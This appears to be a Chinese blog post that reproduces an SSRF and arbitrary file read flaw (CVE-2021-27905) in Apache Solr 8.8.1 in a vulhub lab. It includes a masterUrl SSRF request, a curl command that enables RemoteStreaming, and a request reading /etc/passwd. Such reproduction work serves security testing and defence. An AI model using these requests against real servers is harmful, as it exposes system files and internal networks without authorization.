Apache Solr8.8.1 SSRF 任意文件读取漏洞

1 Solr

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

2 CVE-2021-27905

Solr的ReplicationHandler在传入command为fetchindex时,会请求传入的masterUrl。根据command=fetchindex和masterUrl可以得到PoC的格式。我在这里用了同一个IP做实验的。

http://192.168.215.144:8983/solr/demo/replication?command=fetchindex&masterUrl=http://192.168.215.144:8879

2.1 影响版本

Apache Solr<=8.8.1

2.1 环境搭建

使用vulhub快速搭建。

wget https://github.com/vulhub/vulhub/blob/master/solr/Remote-Streaming-Fileread/docker-compose.yml
docoker-compose up -d
docker ps

 可以看到solr8.8.1已经启动并映射端口为8983。

2.2 漏洞复现

在浏览器中打开,可以看到Solr的控制界面。

 

接下来,开启监听。使用PoC打开网址,

2.3 PoC

这里有一个PoC可以快速检测Solr是否有ssrf漏洞。

地址:https://github.com/henry4e36/solr-ssrf

使用也很简单。一行代码即可,

2.4 读取任意文件

在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或任意文件读取。

2.4.1复现第一步

首先访问下面的链接获取core名。

http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

然后发送如下数据,修改core demo的配置,开启RemoteStreaming。

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://your-ip:8983/solr/demo/config -H 'Content-type:application/json'

接下来就可以通过,stream.url读取任意文件。

http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

 

 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值